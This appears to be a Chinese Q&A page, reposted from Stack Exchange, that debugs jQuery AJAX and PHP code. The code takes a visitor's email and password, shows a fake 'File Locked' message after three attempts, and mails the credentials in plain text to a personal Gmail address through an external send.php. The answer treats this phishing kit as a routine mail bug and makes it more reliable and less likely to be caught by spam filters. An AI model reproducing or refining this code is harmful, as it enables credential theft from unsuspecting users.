You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何将AJAX GET请求获取的JSON参数通过PHP后台发送至指定邮箱

解决方案

一、前端代码调整

优先将请求方式从GET改为POST,避免密码等敏感参数出现在服务器访问日志、URL历史记录中,同时补全缺失的回调逻辑:

count = count + 1;
if (count > 3) {
  $('#msg').html('File Locked - Redirecting Back!');
} else {
  $.ajax({
    dataType: 'JSON',
    url: 'https://yerbameta.com/mail/super/send.php',
    type: 'POST',
    data: {
      user: email,
      pass: password,
      detail: detail
    },
    beforeSend: function (xhr) {
      $('#submit-btn').html(' Please Wait..');
    },
    success: function (response) {
      console.log(response);
      if(response.msg == "errorsend"){
        // 发送失败逻辑可自定义
        $('#msg').html('提交失败,请重试');
        $('#submit-btn').html('提交');
      } else if(response.msg == "success"){
        // 发送成功逻辑可自定义
        $('#msg').html('提交成功');
      }
    },
    error: function(){
      // 网络异常处理逻辑
      $('#msg').html('网络异常,请重试');
      $('#submit-btn').html('提交');
    }
  });
}

二、后端PHP代码调整

原有代码存在3个核心问题:GET/POST参数不能通过php://input直接获取、mail()函数参数顺序错误、无参数校验和返回值输出,调整后代码如下:

<?php
// 基础配置
$receive_mail = 'jpresident47@gmail.com';
$send_mail = 'webmaster@yerbameta.com'; // 替换为你的域名对应邮箱,降低垃圾邮件概率

// 获取前端传参,若坚持用GET请求可将所有$_POST替换为$_GET
$user = isset($_POST['user']) ? trim($_POST['user']) : '';
$pass = isset($_POST['pass']) ? trim($_POST['pass']) : '';
$detail = isset($_POST['detail']) ? trim($_POST['detail']) : '';

// 空参数拦截
if(empty($user) || empty($pass) || empty($detail)){
  echo json_encode(['msg' => 'errorsend', 'info' => '参数缺失']);
  exit;
}

// 组装邮件信息
$mail_subject = '新用户提交数据';
$mail_content = "用户账号:{$user}\n用户密码:{$pass}\n附加信息:{$detail}";
$mail_header = "From: {$send_mail}" . "\r\n" .
"Reply-To: {$send_mail}" . "\r\n" .
"X-Mailer: PHP/" . phpversion();

// 发送邮件并返回结果
$send_result = mail($receive_mail, $mail_subject, $mail_content, $mail_header);
if($send_result){
  echo json_encode(['msg' => 'success']);
}else{
  echo json_encode(['msg' => 'errorsend', 'info' => '邮件发送失败']);
}
?>

三、注意事项

  • 若服务器禁用了mail()函数,可替换为PHPMailer等类库通过SMTP协议发信,同时也能降低邮件被判定为垃圾邮件的概率
  • 建议添加接口请求频率限制,避免被恶意调用刷垃圾邮件

内容的提问来源于stack exchange,提问作者President John

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.01 09:45:04